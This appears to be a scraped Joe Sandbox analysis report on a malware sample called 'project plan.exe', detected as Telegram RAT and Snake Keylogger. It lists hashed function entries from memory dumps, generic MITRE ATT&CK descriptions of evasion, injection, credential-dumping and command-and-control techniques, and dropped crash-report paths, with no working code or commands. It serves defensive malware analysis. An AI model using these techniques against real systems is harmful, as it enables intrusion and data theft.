Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6cb9b4499e72c8263ea29513b9e838c7d69b04944f5d1d644bec6a9480fcb1f
Instruction ID: 92ce8da4a80789ac4cfbcb7659051fb5711d804b319f999847a7e8396d3619bc
Opcode Fuzzy Hash: f6cb9b4499e72c8263ea29513b9e838c7d69b04944f5d1d644bec6a9480fcb1f
Instruction Fuzzy Hash: 33117C38A05210CFC764AF78E518A9A7BF8AF8925070545A9E869DB321DB31DC02CFA1

Function 0614EC98 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 717b4118f3baf399f35545b83e9efc0a9e48d60637e19984756dee6f220a58e7
Instruction ID: 5c66e72bce46f889968907bb20ce3d1d0231d2723416f73a95d85ebb6982ffcd
Opcode Fuzzy Hash: 717b4118f3baf399f35545b83e9efc0a9e48d60637e19984756dee6f220a58e7
Instruction Fuzzy Hash: F6017875C042189FDB04EFB1D9593EEBFB0FB89301F1088A6D514A72E0DB781698CB80

Function 0614B158 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b91312f01eb710ad5881ce095bf47cfff9a939490f5589d07f49e2c1c7f1619a
Instruction ID: 211ef97c0af72131b4eaa652612629ad2a5d6e27a67fd97389cac0e43b30ef45
Opcode Fuzzy Hash: b91312f01eb710ad5881ce095bf47cfff9a939490f5589d07f49e2c1c7f1619a
Instruction Fuzzy Hash: 2B01D632B001286FDB45AE69AC00BAF3BEBEBC8750B148029F915DB280CF71DD1197E0

Function 0614B147 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a81f72494d36ae93d77d1a8b4a15c1133b100f67c80dfa04b0c1713cfff30cff
Instruction ID: 23b795cd7ab68792ef597108f4257506f2aaee17d7e34298ce4009afba131615
Opcode Fuzzy Hash: a81f72494d36ae93d77d1a8b4a15c1133b100f67c80dfa04b0c1713cfff30cff
Instruction Fuzzy Hash: BA018132E41115AFDF459FA4AC00B9B3BB6EB88790F158026F904D7140CB31D9129B90

Function 0614BEB8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27746ec2e672c15083f027b642284050dbbc5380f46d5ed4224fdbcd0cce9ece
Instruction ID: 96b9f93bf3f50c695ca5ec3fe44afb9adf173ef9539efdb84fefc4ec5765b63b
Opcode Fuzzy Hash: 27746ec2e672c15083f027b642284050dbbc5380f46d5ed4224fdbcd0cce9ece
Instruction Fuzzy Hash: 2401A474E052199FCF44EFB989006AEBBB5AF48200F50856AD519E7250E73899118FA0

Function 0614B8E9 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 271356e0e7415298052b4d087ed4f7e6d28006722af691a7347c3060d6946832
Instruction ID: fec6de155cbe8131fe5a57e3fbb3973c303258ae23ff698d0927408a90b34b90
Opcode Fuzzy Hash: 271356e0e7415298052b4d087ed4f7e6d28006722af691a7347c3060d6946832
Instruction Fuzzy Hash: 11D02E3080430A8BC388BB62FA87BA2330DEBC4300F408120F2054B128EB78EE06D290

Non-executed Functions

Function 00F66300 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5uq, xrefs: 00F6641B

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID: .5uq
API String ID: 0-910421107
Opcode ID: cf036c841538c498f6b656a20f8dbc81ab92625dd1a547e2b5a19d753151378c
Instruction ID: 3ef4ebbfb9d07d09e8d2f6dccb519f703a44295c1ca63a503a265140d2f5e3bb
Opcode Fuzzy Hash: cf036c841538c498f6b656a20f8dbc81ab92625dd1a547e2b5a19d753151378c
Instruction Fuzzy Hash: 79529B74E01228CFDB64DF69C984B9DBBB2BF89300F1085E9D809AB255DB359E81DF50

Function 0614CA70 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 280698f2d95f030d8051b63a8de4bdffb0f32c1574343694f368c2e68b92f390
Instruction ID: 732ccd02572d689bb4745d645ca436f27b90edde0484a336816e59acd0aaffed
Opcode Fuzzy Hash: 280698f2d95f030d8051b63a8de4bdffb0f32c1574343694f368c2e68b92f390
Instruction Fuzzy Hash: 95B1A674E01218CFDB54DFA9D984A9DBBB2FF89310F1081A9E819AB365DB30AD41CF40

Function 00F66933 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f04ba512a3ec7e8fcddf76a1934e322af6bb33bb4ef61536e2530fe68acb99e5
Instruction ID: 76f3f3e0470a97c76f456b82646a2b79e2910167d5ec93a0f27f195ea4031d36
Opcode Fuzzy Hash: f04ba512a3ec7e8fcddf76a1934e322af6bb33bb4ef61536e2530fe68acb99e5
Instruction Fuzzy Hash: FDA1AD74A01228CFDB64DF64C994B9ABBB2BF4A300F1089E9D40DAB354DB359E81DF51

Function 0614CA5F Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2cfd88448ff31f8c76b9c6e760b0e2ca49e98bed5ddb1e70b738bc1aa993bde
Instruction ID: 04b64e9c955be0365ade05d5dbc87e9d33207cf12f6ba35c59c091a44f2977cc
Opcode Fuzzy Hash: a2cfd88448ff31f8c76b9c6e760b0e2ca49e98bed5ddb1e70b738bc1aa993bde
Instruction Fuzzy Hash: B2519674E016088FDB48DFAAD484A9DBBF2BF89300F14C169E419EB365EB309942CF50

Function 00F66B14 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a286f286ce7c3f8b48a02af2b5c281e3729d37f686c4913841a06fb93368e3db
Instruction ID: 530ee8a97129c823238cfb411a8fe589b0a961a5c08073f530eaf5e1c5d99862
Opcode Fuzzy Hash: a286f286ce7c3f8b48a02af2b5c281e3729d37f686c4913841a06fb93368e3db
Instruction Fuzzy Hash: D3519F74A01228CFCB64DF24C954BAAB7B2BF4A305F5089E9D40AAB354CB319E81DF50

Function 06169F14 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c031b557e691738393e00b4d962345d3aeb1de75897d9f4ea912a580a5390bab
Instruction ID: 15c2f219e3dc99c7166905c036dacbd59243b72e6515e975e88e10e448158344
Opcode Fuzzy Hash: c031b557e691738393e00b4d962345d3aeb1de75897d9f4ea912a580a5390bab
Instruction Fuzzy Hash: 05D09E74D5421CCBDB20EFA5D851ABCF771EF85300F0168EAA409B3111D7785A519F66

Function 0614CD86 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2cf1e520f030d1742f270b92ddb9cd2085429c7cc3a6b22f78e44b81ee69cf0
Instruction ID: ce164b0ba4aa9e4afd2e0c59b24c66d536c502bc5140b5cc330c847a56a08325
Opcode Fuzzy Hash: a2cf1e520f030d1742f270b92ddb9cd2085429c7cc3a6b22f78e44b81ee69cf0
Instruction Fuzzy Hash: 91D09E34D5425C8BCB60EFA8DC517ADB771FF85300F0025A5D409B7111D7745E509E96

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report project plan.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_project plan.exe_feb5e1bf740ebfcc66821499cd5ec33f8925b97_c0f593ef_8deeed97-6c03-4b0a-a0b8-fcfe0b574727\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE5D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDFA7.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE005.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
project plan.exe

Function 00007FF848F10B3C Relevance: 7.6, Strings: 6, Instructions: 73
COMMON

Function 00007FF848F11F30 Relevance: 2.0, Strings: 1, Instructions: 735
COMMON

Function 00007FF848F14620 Relevance: 1.8, Strings: 1, Instructions: 553
COMMON

Function 00007FF848F134FA Relevance: 1.6, APIs: 1, Instructions: 140
memoryCOMMON

Function 00007FF848F1D212 Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Function 00007FF848F10921 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON